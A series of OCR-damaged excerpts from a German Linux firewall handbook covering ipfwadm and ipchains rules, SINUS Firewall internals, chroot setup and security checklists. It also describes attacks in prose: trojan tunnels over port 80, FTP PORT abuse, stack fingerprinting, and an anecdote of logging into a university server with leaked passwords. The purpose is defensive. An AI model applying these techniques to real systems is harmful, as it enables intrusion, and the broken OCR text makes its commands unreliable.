575. ung Der eigentliche Angriff kann dann in Sekunden erfolgen Wichtig ist es auch dem Angreifer m glichst viele H rden aufzustellen in Form von Routern Switches Firewalls VPN s innerhalb eines Unternehmens Bei konsequenter berwachung m ssen sich Auff lligkeiten in den Protokollfiles ergeben Ein Security Training mit echten Angriffen ist ein unbedingtes Mu f r Systemadministratoren in gr eren Netzwerken 23 5 Einarbeitungszeiten in Angriffswerkzeuge Erstaunlich ist es da viele Werkzeuge f r Angriffe auf einschl gigen Internet Servern zu finden sind Der Quellcode der exploits f r UNIX Windows Betriebssysteme und LINUX oder sogar die fertigen Exploits als Binary sind dort zu finden Die Systemhersteller haben gro e logistische Probleme in entsprechend kurzer Zeit die Fehler zu beseitigen und Kunden zu informieren wie z B HP die einen Patch f r SENDMAIL ver ffentlichten obwohl in den BUGTRAQ Mailinglisten bereits schon der EXPLOIT dieser aktuellen Fehlerkorrektur zu finden war Bei freien Betriebssystemen ergeben sich unglaublich kurze Reaktionszeiten 30 Minuten bei Ping o Death Allen Cox Vorausgesetzt da der Administrator dort t glich nach neuen Patches sucht und diese einspielt d rfte relativ wenig Gefahr von Lamern ausgehen Das sind Personen die keine Cracker sind aber die exploits von Crackern benutzen In wenigen Tagen ist es m glich entsprechende Grundkenntnisse unter UNIX zu erlangen Installati
576. ung bei der bersetzung der Mailadresse einer Visitenkarte dieses Unternehmens vom X 400 Format in die korrespondierende Darstestellung im Internet Der Systemadministrator reagierte nicht Mittlerweile h uften sich die Mails Seltsam war dabei da diese nun sto weise auf der Domain SUB eintrafen manche Tage gar nicht an anderen direkt zu hunderten Diese Mails landeten alle als nicht zustellbar auf meinem Server dessen Postmaster ich bin Der DNS Server war so konfiguriert da alle E Mails an die Domain SUB de automatisch in einem Sammelpostfach landen Hierzu habe ich den MX Eintrag im DNS Server so eingestellt da auch alle Mails an Subdomains in dieses Postfach einsortiert werden Als Postmaster erhalte ich stets alle fehlerhaft zugestellten Mails zumal darunter auch einige Mails sind die die berpr fung auf Viren nicht bestanden haben Diese fehlerhaft zugestellten Mails an die Domain sehnix SUB de landeten als alle bei mir da ich die Subdomain sehnix nicht mit einem eigenen MX Eintrag eingetragen hatte Es trafen einige dutzend interne E Mails von Mitarbeitern an Mitarbeiter des Unternehmens ein die normalerweise niemals nach Au en h tten gelangen d rfen Darunter auch eine mit EXCEL verfa te Jahresbilanz der SAP Abteilung in Frankreich einige interne Berichte ber Pr fungsprotokolle bei Banken und Berichte ber Hermes B rgschaften der Bundesregierung f r Projekte in China Irgendwie wurde mir klar da ich den Syst
577. ung konfiguriert werden k nnen so liegt wahrscheinlich eine Kollision von Adressen oder IRQ s vor Falls PCl Karten im Einsatz sind so kann dieses Problem in den BIOS Einstellungen ber das PNP Men korrigiert werden Einige Probleme bestehen beim Einsatz einer ISDN Karte Es ist nun einmal so da die ISDN Utilities noch nicht auf die neuen Kernel 2 2 x angepa t sind In diesem Falle empfiehlt sich ein Downgrade auf die Version 2 0 36 Das betrifft auch die SINUS Firewall 2 0 und die IPCHAINS Firewall F r die Einbindung von IPCHAINS in den Kernel 2 0 36 existiert ein Patch Neue Teles PCI ISDN Karten laufen nicht korrekt sehr zu empfehlen sind ELSA ISDN Karten Diese laufen meist sofort Die Konfiguration der Ethernet Karte sollte nun nachdem alle Treiber in den Kernel eingebunden sind relativ problemlos sein Ein kleiner Test zum ausprobieren sbin ifconfig ethO 10 0 0 1 sbin ifconfig Nun ist das Interface ethO konfiguriert Wir m chten noch eine virtuelle Adresse hinzuf gen sbin ifconfig eth0 1 10 0 0 2 Wir m chten das Interface 2 aktivieren und Interface 1 deaktivieren sbin ifconfig eth 192 168 1 1 sbin ifconfig ethO down Wie man sieht ist es unter LINUX auBerst einfach beliebige IP Nummern einer Netzwerkkarte zuzuordnen Interfaces zu l schen und umzukonfigurieren Wenn also etwas mit Hilfe der Konfigurationsprogramme wie linuxconf nicht auf Anhieb funktioniert dann kann man immer auf die Grundfunktio
578. ungen die mit dem Programm INETCNF an der Konsole vorgenommen werden finden sich unter NOVELL auf dem Volume SYS wieder Die Struktur entspricht genau der von UNIX Entsprechend einfach lassen sich alle UNIX Programme auf NOVELL portieren NOVELL nennt sie nur anders beispielsweise ist der D mon mit dem man von NOVELL Daten nach Windows NT kopieren kann Migration Toolkit identisch mit SAMBA unter UNIX SAMBA l uft brigens auch unter NT Zur ck zu Protokollen und Diensten Ein Beispiel allow www 80 ipfwadm I a accept P tcp W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D INTRAI 80 Es wird gerade einem Paket erlaubt von ANYWHERE von einem Port gt 1024 ber das Protokoll TCP auf den Host INTRA1 Port 80 zuzugreifen Die k nnte einen WWW Server mit der IP Adresse INTRA1 hinter der Firewall sein Wir k nnen obigen UNIX Dateien entnehmen da HTTP auf Port 80 ansprechbar ist und ein TCP Dienst ist Die Angabe UNPRIVPORTS dient dazu festzulegen da ein Client sich nur unter Verwendung von Ports gt 1024 an dem Server anmelden darf Wenn wir diese Regel einf hren dann d rfte klar sein da Masquerading in der Firewall nicht verwendet werden darf Masquerading Erstellt von Doc Gonzo http kickme to plugins schirmt IP Nummern hinter der Firewall ab und ersetzt diese durch ihre eigene Mehr hierzu jedoch sp ter Warum sollte man Clients nicht erlauben sich mit einer Portnummer lt 1024 an dem Server anzum
579. untersucht Dieser Wert wird in sf_custom h definiert Die SPY Funktion ist in der Erstellt von Doc Gonzo http kickme to plugins Lage eventuelle Angriffe von UNIX Servern aus Rechenzentren festzustellen und den User zu identifizieren Hierf r sind folgende Methoden implementiert e finger e rusers e identd W hrend finger und rusers einfach nur UNIX Befehle sind erfordert der identd eine spezielle Anpassung Der Code befindet sich in der Datei sfidentd c Das Programm verbindet sich mit dem Host der untersucht werden soll und liefert entsprechend der RFC 1413 Informationen zur ck Erweiterungen des Firewall D mons Neue Schl sselworte Das Hinzuf gen neuer Schl sselworte zu der notification Struktur erfordert nderungen im Parser und ein paar neue Zeilen in der Funktion execute_notify im File sf_daemon c Erweiterung der counter intelligence Diese Erweiterungen sind recht einfach zu implementieren Eine nderung in der finger Funktion sf_spy c ist notwendig Um einen Eintrag hinzuzuf gen gen gt ein einfaches copy paste der rusers Zeilen und eine Anpassung an die Befehle des verwendeten Programms Um weitere M glichkeiten der Benachrichtigung des Users hinzuzuf gen ist es notwendig die Gr e des Files fdarray anzupassen neben Logfile und E Mail und die num_fd Variable entsprechend anzupassen Nun mu nur noch ein File Descriptor ge ffnet werden der auf den Zielhost zeigt Alles weitere erfo
580. unting 10 6 Die berpr fung der UNIX Sicherheit 10 7 Logging von Ereignissen Erstellt von Doc Gonzo http kickme to plugins 11 Aufbau eines LINUX ISDN Firewall Routers 12 Aufbau einer Firewall mit ipchains 12 1 Was ist ipchains 12 2 Verbesserungen in Linux 2 2 12 3 Update von Linux 2 0 Kerneln 12 4 Die Homepage von IPCHAINS 12 5 Fallstricke mit Kernel Optionen f r LINUX 2 0 und 2 2 12 6 Installation von ipchains im Kernel 12 7 Beschreibung des ipchains Administrationswerkzeuges 12 8 Beschreibung des Aufbaus der Firewall 12 9 Die Programmierung von ipchains 12 10 Interne Abl ufe der Firewall 12 11 Operationen auf eine ganze chain 12 12 Praktische sinnvolle Beispiele 12 13 Verschiedenes 12 15 Anhang Unterschiede zwischen ipchains und ipfwadm 12 16 Quick Index f r Umsteiger von ipfwadm 13 Problem Fernwartung einer LINUX Firewall 14 Die SINUS Firewall 1 14 1 Leistungs bersicht 14 2 Einsetzbare Hardware 14 3 Skalierbarkeit 14 4 Administrierbarkeit 14 5 Protokollunterst tzung 14 6 Unterst tzung f r folgende Dienste 14 7 Kontrolle aus UDP und TCP kombinierter Dienste 14 8 Einsatz erweiterter dynamischer Firewallregeln 14 9 LOG Eigenschaften 14 10 Interne Architektur des TCP IP Stacks 14 11 Einsatzgebiet der Firewall bei ISP s 14 12 Logging 14 13 Counter intelligence 14 14 Interner Aufbau der Firewall 14 15 Sicherheit oder Verf gbarkeit 14 16 Fernwartung und Sicherheit 14 17
581. unz hligen Hackern eingesetzt weil sie unauff llig sind und mit h chster Wahrscheinlichkeit zum Erfolg f hren Professionelle Angreifer arbeiten mit trojanischen Pferden die sie im Internet plazieren und dann daf r sorgen da diese von den Systemadministratoren auch gelanden und installiert werden Trojanische Pferde aktivieren sich nach Abfrage bestimmter Kriterien beispiels weise genau dann wenn sich ein bestimmter Name in einem File findet Absender in der Konfigurationsdatei des E Mailprogrammes oder die Arbeitsstation eine bestimmte IP Nummer besitzt die der Angreifer vorher ausgesp ht hat So ist es z B ohne Probleme m glich einer Weihnachtsmann Animation noch einen Portscanner oder Sniffer hinzuzuf gen der sich im Hintergrund bet tigt Angreifer erfragen zuvor Namen Hauptziel sind Systemadministratoren und bermitteln der Zielperson dann freundliche Gr e mit o a URL als Anhang Den mu te mal testen Um dann weitere Daten aussp hen zu k nnen mu der Angreifer zuerst einen Tunnel durch die Firewall konstruieren Hierzu Erstellt von Doc Gonzo http kickme to plugins wird er mit Sicherheit Port 80 oder den default Proxy Port 8080 w hlen und den Benutzer dazu irgendwie veranlassen ein Programm zu starten welches eine Verbindung zum Internet herstellt Ist erst einmal dieses Programm entweder im Hintergrund vom Taskmanager verborgen wie BO oder NETBOS gestartet so hat der Benutzer keinen berblic
582. up korrekt war War er das nicht so wird der Client abgelehnt Der TCP Wrapper und der INETD sind auch unter Windows NT verf gbar 20 Firewall mit Screened Host Architektur Firewall mit berwachtem Host INTERNET A Firewall lokales Netz gt Serverl Host A HostB Host C Beispiel 3 Diese Architektur ist im Gegensatz zu einem Firewall Aufbau mit nur einer Firewall und einem im Intranet positionierten von der Firewall berwachten Host Serveri kosteng nstiger aber auch unsicherer Der gesamte Datenverkehr mit dem Internet wird ber diesen berwachten Host abgewickelt screened host Da kein Grenznetz existiert gelten f r den berwachten Host besondere Restriktionen Er ist mit einer festen IP Nummer ber aus dem Internet erreichbar Dieser stellt als das klassische Extranet dar einen WWW Server der im Hause steht aber von au erhalb jederzeit zu erreichen ist Dieser Server sollte unbedingt wie ein bastion host abgesichert und dar ber hinaus auch gegen buffer overflows abgesichert sein Es mu sichergestellt werden da alle Arbeitsstationen im Intranet ausschlie lich ber den bastion host ihren Datenverkehr mit Hosts im Internet abwickeln Die Firewall sollte also alle internen Arbeitsstationen f r direkten Zugriff auf Server im Internet sperren Es werden aber auch besondere Anforderungen an die Firewall gestellt das gilt besonders f r die Auswahl relevante
583. urch unsichere Clients ist ein komplexeres Thema welches ich durch ein einfaches Beispiel erhellen m chte In meinem Handbuch zu MySQL ist diese Problematik n her erkl rt Es gibt unter MySQL die Befehle LOAD DATA INFILE und LOAD DATA INTO OUTFILE Diese Laden eine ASCII Tabelle von der Festplatte des Servers in den Datenbankserver und wieder herunter Solange die Daten also nur auf der Festplatte des angenommen gesicherten Servers lagern gibt es keine Probleme Der Zusatz LOCAL also LOAD DATA LOCAL INFILE hat eine geringf gig andere Bedeutung Die Daten werden zwischen der Festplatte der Arbeitsstation und dem Datenbankserver ber das Netzwerk im Klartext bertragen Im g nstigsten Falle sorgt der Befehl COMPRESS daf r da die Daten komprimiert bertragen werden Dies ist ein Feature welches von jedem ODBC Treiber unterst tzt wird allerdings haben nur wenige eine Verschl sselung der Daten vorgesehen Schlu folgerung ist da man Clients an Datenbanken nur ber IPSec PPTP ENSkip OPIE an den Datenbankserver anschlie en sollte 11 Einbruch in die Datenbank durch unklare Zugriffsrechte ist ebenfalls ein recht h ufiges Problem Mit Hilfe unklarer GRANT Tabellen kann es passieren da vergessen wurde die Zugriffsbeschr nkungen korrekt zu setzen Ein ganz wichtiger Punkt bei der Erstellung der Security Policy 12 Einbruch in die Datenbank durch Replikations Server ist recht selten Es ist aber von Interesse wie Transakti
584. urchsucht dies seine internen Tabellen und sendet unverz glich einen Code zur ck verwerfen zur ckweisen annehmen Wurde der Firewall Daemon ber das Ereignis unterrichtet wird eine Nachricht erstellt und an den Nachrichten Buffer gesendet Linux Kernel nderungen Um die Komponenten Kernel Filter Modul und Firewall Daemon in das Betriebssystem einzubinden sind einige Anderungen vorzunehmen Das sfc User Programm und die Komponenten des Firewall Device ben tigen keine Anderungen und k nnen w hrend der Laufzeit geladen werden Ein Ziel der Entwicklung der SINUS Firewall 1 war es die Anzahl und Komplexit t der Kernel Anderungen gering zu halten um ein einfaches Aktualisieren des Kernels und eine gute Portierbarkeit zu erm glichen Dazu wurde soviel code als m glich in das Kernel Filter Modul und in den Firewall Daemon eingebaut Dies sind die neuen Dateien Die Datei config in welche die Anfragen f r die make config facility enth lt Ein Makefile und die Dateien ip c und tcp c um Anrufe zum Kernel Filter Erstellt von Doc Gonzo http kickme to plugins Modul stub hinzuzuf gen Die Datei ksyms c welche alle exportierten Symbole auflistet Die Datei sf_kernel h neu die die Kernel Filter Modul Schnittstelle beinhaltet sf_stub c neu das Kernel Filter Modul stub Beschreibung der Kernel Filter Module Stub Die Stub Datei sf_stub c enth lt den Filter Funktions Zeiger sf_fw_chk und zwei Dummy Routinen wel
585. ure that only safe requests are sent to the trusting host This avoids the necessity of keeping a small UNIX passwd file in your web tree but requires a small services file in wtree etc if you aren t running NIS NOTE It is useful to make a shell wrapper that you can use to debug Skript probems in your web tree Using exactly the same wrapper as above substitute the following in the execl function execl bin bash bash char O Note that it has to be setuid root For example if you call this chroot ed shell cr_shell then on your web host you can launch a chroot ed shell to test Skripts but do itina sub shell so that you don t destroy your environment export PATH bin export HOME my path name to cr_shell wtree 22 9 Kurzeinfuhrung CHROOT fur WWW Server Besonders wichtig ist es stets WWW Server SQL Datenbanken FTP Server so abzusichern da ein Angreifer im Falle eines Einbruchs m glichst wenig Rechte erh lt und in einem Unterverzeichnis gefangengehalten wird Es ist selbstverst ndlich da die D monen mit m glichst wenig Rechten gestartet werden Der Start eines D mons in einer CHROOT Umgebung sollte eigendlich selbstverstandlich sein Viele kommerzielle Server wie z B der Netscape Enterprise Server ROXEN Challenger und viele FTP D momen unterst tzen diese Funktionalit t von Hause aus sind aber in vielen F llen nicht automatisch aktiviert Schauen Sie bitte zuerst im Handbuch nach
586. us einer TCP Verbindung Der Filter kann so schnell bestimmen ob eine Verbindung besteht ein Host die Verbindung abbrechen m chte die Verbindung beendet ist Ein eintreffendes Paket welches einen Verbindungswunsch anzeigt hat das SYN Flag gesetzt nicht aber das ACK Flag In diesem Falle ist die TCP Verbindung noch nicht in der HASH Queue gespeichert mit Ausnahme von FTP Verbindungen Der Rest des TCP Erstellt von Doc Gonzo http kickme to plugins Paketes wird bergangen und das TCP Paket wird auf Verletzungen gegen die Regeln berpr ft F r den Fall da das TCP Paket zul ssig ist wird es mit den in der HASH Queue gespeicherten Pakete verglichen Geh rt es nicht zu anderen Paketen so wird es verworfen Es wird den Filter nicht passieren Angenommen da TCP Paket geh rt zu einer erlaubten Verbindung Das Paket mu dann berpr ft werden ob dieses Paket eine FTP Verbindung darstellt Dies wird durch Durchsuchung des Inhaltes nach dem PORT Befehl festgestellt In diesem Falle wird ein neuer HASH Eintrag erzeugt An dieser Stelle ist es m glich weitere Protokolle zu implementieren z B RPC welches f r Windows NT PDC RSYNC RSH notwendig ist Der Rest des TCP Codes ist selbsterkl rend Das Statusfeld und der Timer Mechanismus sind entsprechend dem Mechanismus zu Behandlung der Flags im TCP Header implementiert Es ist m glich zu einer bestehenden TCP Verbindung einen Timeout hinzuzuf gen Hiermit kann
587. utoupdate Support f r die neuen Internet Channels Der User wird informiert und informiert den Channelserver ber seine Bookmarks damit Neoplanet stets updatefixedchannels updatespelldict updateexe ibpush Did d channels ld start ld End channeltest3 channeltest2 mousetest colortest Be Die Adresse test sushiking com scheint eine der Adressen zu sein an die Neoplanet Informationen sendet Vielleicht sollte man diese Adresse in der Firewall filtern und untersuchen Automatic Testing of Neoplanet Mail Client s Queuing Functionality Queue Mail Test message d Queue Mail Test Create 50 messages to test sushiking com in the Outbox queuemailtest Automatic Testing of Neoplanet Mail Client s Send Functionality A B d Y H M S Send Mail Test message d test sushiking com Send Mail Test Send 50 messages to test sushiking com sendmailtest http www doubleclick com navigatetest about c neotest neoscheme sires Dieses Informationen sind nur f r Arbeitspl tze mit direktem Anschlu an das Internet relavant Erstellt von Doc Gonzo http kickme to plugins os neochanl neo http www neoplanet com channels chanfixed neo Error creating user directory C7FCOA215DE111d2841400A024D4B66A s neoplanet ini is missing is out of date InternetShortcut _NONE_ Neoplanet verr t die Signatur des E Mail anhanges Damit l t sich ermitteln wer der User ist Email Signature tx
588. utzwirkung der SINUS Firewall Es ist nun wirklich nicht so da eine Firewall gegen alle Angriffe sch tzen k nnte Wenn es aber jemandem gelingen sollte die Firewall zu berwinden so wird er sicherlich ziemlich viele Spuren in den Firewall Logfiles hinterlassen Genau dies ist der Sinn und Zweck einer berwachung mit einer Firewall Es kommt also nicht darauf an ob ein Angriff abgewehrt werden kann sondern ob er schnell entdeckt wird Bekannte Sicherheitsprobleme Ein Stateful Paket Filter SPF wie die SINUS Firewall kann zwar viele Angriffe abwehren jedoch bietet sie keinen Schutz gegen session hijacking also der Ubernahme einer bestehenden Verbindung eines Hosts aus dem Intranet zu einem Server im Internet durch einen Angreifer Alle Pakete die von einem Server aus dem Internet in das Intranet gesendet werden k nnten einen Inhalt besitzen der eine Sicherheitsl cke in einem Client ausnutzt Es gibt keinen Schutz der gegen das Abh ren von Pa worten bei der Administration der Firewall verhindert Dieses Problem kann aber leicht durch den Einsatz von zus tzlicher Software beseitigt werden Erstellt von Doc Gonzo http kickme to plugins Die SINUS Firewall sch tzt Sie nicht vor Fehlern bei der Konfiguration Eine Firewall kann nicht hellsehen auch wenn einige Firewall Hersteller behaupten ihr Produkt k nne es Daher sollte man sich stets die gesamte Dokumentation durchlesen und dann erst zur Tat schreiten Im Falle
589. verschl sselt Sind Pa worte evtl im Klartext im RAM oder im SWAP Bereich der Arbeitsstation abgelegt Kann ein Programm diese RAM Bereiche auslesen trojanisches Pferd Existieren Sammlungen von Pa worten auf einem zentralen Server im Netz 15 Werden Ereignisse auf dieser Arbeitsstation an einen Logserver gemeldet Welche 16 Ist ber ein eingebautes Modem ISDN Karte Internet Zugang m glich 17 Ist Fernwartung m glich Von wo aus 18 Werden von dieser Arbeitsstation aus Server Router Firewall fernadministriert Welche Protokolle werden eingesetzt Sind verschl sselte Pa worte im Einsatz Werden die Daten verschl sselt Ist session hijacking m glich 19 Ist ein Virenscanner installiert Werden E Mails Downloads berpr ft 20 Ist der Virenscanner stets aktuell ONOARWAN gt Erstellt von Doc Gonzo http kickme to plugins 21 ber welche Ereignisse wird der Systemadministrator informiert Wie wird er informiert Existiert eine Archiv Datei Werden Ereignisse miteinander kombiniert und ausgewertet Interne berwachung des Netzwerkes 1 2 10 Werden Ereignisse aufgezeichnet Welche Wie erfolgt die Benachrichtigung Ist ein DoS Angriff auf das IDS System Intrusion Detection System oder Teile m glich Ist hiermit eine berpr fung der Einhaltung der security policy m glich Wie wird der Systemadministrator benachrichtigt Werden Datenstr6me gemessen
590. vista Firewall Secure Computing e IABG Ottobrunn http www iabg de TIS Gauntlet e ibh it sec Ulm http www it sec de Firewall 1 Raptor Watchguard Cisco e ICON Systems GmbH Oberhaching http www icon sys de FireWall 1 Trend Micro Interscan VirusWall Erstellt von Doc Gonzo http kickme to plugins e ID Pro GmbH Bonn http www id pro de Connectivity und Firewall L sungen auf GNU Linux Basis e INS GmbH Castop Rauxel Essen Duisburg http www ins de FLUX EF FLUX AG FLUX PR e Integralis GmbH M nchen http www integralis de Checkpoint FireWall 1 e IN integrierte informationssysteme GmbH Konstanz http www in gmbh de FireWall 1 e Interface Business GmbH Dresden http www interface business de Firewall 1 AltaVista Firewall Borderware Firewall e INTERNET GmbH Frankfurt Hamburg Weinheim Munchen http www inet de BorderWare Raptor Eagle SmartGATE e Internet2000 Bundesweit http www internet2000 de Altavista BorderWare e Internet SmartWare GmbH http www internet smartware com SmartWall BorderWare Firewall for NT e Intr ware Dietzenbach http www intra ware de Altavista BorderWare e lQproducts GmbH Dornach Eschborn http www iqproducts de FireWall 1 Trend Micro Interscan VirusWall e iXnet GmbH Zwingenberg http www ixnet de FireWall 1 Trend Micro Interscan VirusWall e KrypNET Security GmbH Ratingen http www kryptnet de Firewall 1 e KryptoKom Aach
591. von Jan Hagemeier Bonn 38 Danksagung an alle LINUX ler Ich m chte hier an dieser Stelle einigen hervorragenden K pfen danken ohne welche das LINUX Firewall Handbuch nicht geschrieben worden w re e Richard Stallmann dem Begr nder des GNU Projektes und Kopf der Idee der freien Software Free Software Foundation Fast alle Software unter LINUX ist im Prinzip GNU is Not Unix Software LINUX ist im Grunde nur ein kleiner Teil des Kernel selber alles weitere z B alle Libraries sind GNU Lib s Alle Tools und kleine Programme angefangen von Is bis hinzu lex yacc bison emacs ist GNU Software Diese ist auch auf andere Betriebssysteme wie HURD OS 2 BSD UNIX Free Net OpenBSD SOLARIS MACH CHORUS Windows NT VMS und viele weitere portiert worden Die Kernel sind im Prinzip gegeneinander austauschbar Wesentlichen Anteil an dem Erfolg des GNU Projektes hat auch die Entwicklung des GCC Compilers ebenfalls GNU Software und ist auf fast alle Prozessoren portiert e Eric Raymond dem Begr nder der OpenSource Bewegung e Linus Torwalds dem Betreuer und Initiator des LINUX Kernels e Alan Cox der verantwortlich f r den TCP IP Stack von LINUX zeichnet und durch seine unglaublich kurzen Reaktionszeiten auf BUGS 30 Minuten bis der Patch da war bei dem PING o DEATH DoS BUG dazu entscheidend beigetragen hat da LINUX im Kampf gegen Hacker inzwischen besser als die kommerzielle Konkurrenz ist e Darren Reed der als E
592. von kann man sich an diesem sehr kleinen Beispiel selber berzeugen Man bekommt vielleicht dann einen Eindruck davon wieviel Mist oft Sicherheitsexperten erz hlen Windows NT ist sicher u s w und wie schwierig es ist den Quellcode von 1500 Programmierern Microsoft und mehrere millionen Zeilen Quellcode nach Fehlern zu durchleuchten Sp testens nach dieser kleinen Ubung sollte auch der letzte Verfechter von Software ohne freien Quellcode davon berzeugt sein da viele Augen mehr sehen als wenige und da es immer besser ist nach dem KISS Keep It Small and Simple Prinzip die Software auszuw hlen vdoproxy c AUTHOR Eric Dumazet edumazet ris fr DATE 19961015 This is a VDO live proxy for LINUX with TRANSPARENT PROXY enabled Usage First you must insure that connections for port 7000 are redirected ipfwadm I a acc P tcp S yournet 24 D any 0 7000 r 7000 Then launch vdoproxy no arguments include lt stdio h gt include lt sys types h gt include lt sys time h gt include lt sys socket h gt include lt netdb h gt include lt netinet in h gt include lt arpa inet h gt include lt signal h gt include lt syslog h gt include lt string h gt include lt stdlib h gt include lt ctype h gt include lt unistd h gt define VDO_TCP_PORT 7000 int listen_port 7000 int dflg debug flag int Iflg log flag int dest_port 7000 struct sockaddr_in de
593. wachen Eine vergleichbare L sung wird bisher nur von BAY NETWORKS und CHECKPOINT angeboten ber deren Performance bei Vollast l t sich noch keine Aussage machen Die Performance der SINUS Firewall 1 auf DEC ALPHA oder Pentium 400 mit je 2x 100 MBit Karten reicht jedoch v llig aus soda auch bei komplexen Firewallregeln die Switches nicht gebremst werden Es liegen Performance Analysen vor jedoch k nnen hieraus leider keine Schlu folgerungen auf bereits installierte Netzwerke gezogen werden da die Unterschiedlichkeit der Protokolle und Pakete stark schwankt In jedem Falle sollte man pro 100 MBit Port des Switch eine Firewall mit 3x 100 MBit Karten 1x 100 MBit f r Kommunikationsbackbone einplanen Die Kosten pro Port liegen bei ca 1000 DM Auf diese Weise lassen sich auch sehr schnelle Netzwerke mit Geschwindigkeiten jenseits der GIGABIT Grenze kontrollieren LINUX besitzt allerdings einen Fehler im Kernel der die sogenannten large frames MTU gt 9000 nicht filtert also Vorsicht Genauere Hinweise finden sich im Kapitel ber Fallstricke bei Kerneloptionen 21 6 Verbrauch an CPU Zyklen pro Paket F r Hispeed Netzwerke im Bereich GIGABIT ist es unerl lich genaue Informationen ber die Transferrate pro Paket im Kernel zu erfahren Es liegen genaue MeBwerte f r s mtliche BSD Betriebssysteme vor darunter SUN OS FreeBSD NetBSD und OpenBSD F r die LINUX 2 2 x Kernel k nnen die Werte bernommen werden da inzwischen gro e T
594. werk entf hrt worden 23 14 Firewalls f r Verbindungen von au en mit FTP ffnen Ein lokaler User verbindet sich ber anonymous ftp zu einem remote FTP Server Port 21 Um eine Datei zu bertragen w hlt der Client des Users zun chst einen beliebigen TCP Port an dem er die Datei erwartet Der Client sendet ein PORT Kommando um diese Wahl dem Server mitzuteilen Der Server antwortet indem er eine aktive TCP Verbindung zu dem angegebenen Host ffnet und die Datei versendet Ist das Netz des Clients durch eine Firewall gesch tzt so wird die Daten bertragung fehlschlagen da der Server ja einen von der Firewall gesch tzten internen Port ffnen m chte Eine Firewall untersucht die Daten nach einem speziellen PORT Befehl Hat die Firewall diesen entdeckt so l t sie eine Verbindung zwischen Remote Host und internem Client zu da die Anfrage f r eine solche Verbindung ja vom internen Client kam Ist diese Verbindung erst hergestellt so kann sie beliebig lange bestehen bleiben Offnet ein b sartiger interner Nutzer eine FTP Verbindung nach au en und gibt an die Datei auf Port 23 dem Telnet Port oder einem beliebigen anderen zu erwarten so kann der Remote Host eine Telnet Verbindung zum Client erstellen Dieser Angriff l t sich mittels Java Avtive X VBSkript auch von externen Angreifern ausf hren und geh rt zu den erfolgreichsten Angriffen berhaupt Es ist eine fehlerhafte Implementierung des PASV Mechanismus in einem
595. worten eines aus und versuche mich per Telnet an diesen Server anzubinden Der Login ist erfolgreich und ich sehe viele wirre ASCII Zeichen auf dem Bildschirm die mir ein Men anbieten Nun da mein Japanisch nicht so gut ist steige ich aus diesem Men aus und sehe da ich mich in der Universit t Tokyo in einem Server mit tausenden von Studentenaccounts befinde Ich kann Programme starten Kompilieren Perl Skripte ausf hren ich logge mich aus Ich frage den Kerl im IRC Channel nach weiteren Pa worten von anderen Servern Kein Problem 5 Minuten sp ter habe ich riesige Pa wortlisten von Server aus Hochleistungsrechenzentren der USA Deutschland England u s w in meinem Verzeichnis Ich kann es kaum glauben und frage ihn wie er daran gekommen ist Er behauptet da es viele Wissenschaftler gibt die gr ere Simulationsaufgaben jeweils auf die Nachtseite der Erde verschieben damit tags ber die Arbeit nicht gest rt wird Nachts d rften die Server dann voll ausgelastet werden Mit einigen Accounts h tte er angefangen danach h tte er gen gend Rechenzeit auf Gro rechnern zur Verf gung gehabt die DES verschl sselten PaBworte in der Datei etc passwd und etc shadow zu entschl sseln Diese verschl sselten Pa worte k nnen normalerweise nicht entschl sselt werden es kann aber meistens ein wirres Ersatzpa wort gefunden werden welches ebenfalls denselben verschl sselten Eintrag liefert F r eine Liste von 100 ve
596. y Tips bei der Dokumentation von Apache unter www apache org Web Security amp Commerce By Simson Garfinkel with Gene Spafford 1st Edition June 1997 ISBN 1 56592 269 7 NOOO 31 Seridsitat von Security Consultants Erstellt von Doc Gonzo http kickme to plugins Ich selber habe einer ganzen Reihe von Security Consultants bei verschiedenen Gelegenheiten einmal auf den Zahn gef hlt Zugegeben f r Spezialisten waren diese gut ber neue Sicherheitsl cken in Betriebssystemen informiert sofern diese auch ver ffentlicht waren Als es allerdings um Erfahrungen als Programmierer ging da wurde die Luft schon d nner Eigenst ndig Sicherheitsprobleme auffinden und einen Exploit schreiben dazu war kaum jemand in der Lage Wer einem Security Consultant auf den Zahn f hlen m chte der sollte sich davon berzeugen da dieser einen standardm ig installierten NT 4 0 Server mit SP5 am Netz zumindest zu einem bluescreen von einer Arbeitsstation aus bewegen kann nat rlich ohne die im Internet verbreiteten fertigen exploits zu benutzen Als Hilfmittel sollte C C PERL v llig ausreichen Auf Schulungen zu Firewalls werden h ufig vorbereitete exploits demonstriert die dann Server zum Absturz bringen oder unter UNIX eine ROOTSHELL ffnen Diese DEMO s sind nichts weiter als einfache Schau Die Werkzeuge daf r finden sich z B auf der Domain http www rootshell com Ganz problematisch wird es beim Auditing Die Aufgabenst
597. zeigen warum einige TCP IP Stacks fter mal ausfallen Grund hierf r k nnen aber auch defekte Netzwerkkarten sein die verst mmelte Pakete erzeugen Einige Betriebssysteme verkraften diese Pakete nicht und h ngen sich auf TCP IP Stack Angriffe zur Bestimmung des Herstellers Themen e Kombination von TCP IP Flags e ISN SSN Identifizierung von Herstellern e Probleme bei Vollast e Performance Probleme bei dynamischen Filtern Erstellt von Doc Gonzo http kickme to plugins Toolkits wie Ballista oder ipsend die verschiedenste Varianten von gef hrlichen TCP IP Paketen simulieren indem sie wichtige Protokolle mit verschiedensten Flags Paketl ngen Fragmentierungen und Verschachtelungen interlaced und Zufallszahlen kombinieren eigenen sich nicht nur f r DoS Angriffe sondern auch zur Bestimmung des Firewall Herstellers und evtl Filtereinstellungen und der Server Betriebssysteme hinter der Firewall Mit Hilfe eines Sniffers werden dann die Antwortpakete des Servers hinter der Firewall ausgewertet und somit die Filter Einstellungen der Firewall bestimmt Aufgrund der ISN Initial Sequence Number und SSN Serial Sequence Number der Antwortpakete kann dann auf das Betriebssystem geschlossen werden Es lassen sich so auch ganz gezielt Fehler bei den dynamischen Filterregeln oder im PROXY Mechanismus herausfinden und weiter ausnutzen z B um die Firewall an die Grenzen ihrer Leistungsfahigkeit zu bringen Die eintretenden Effekte s
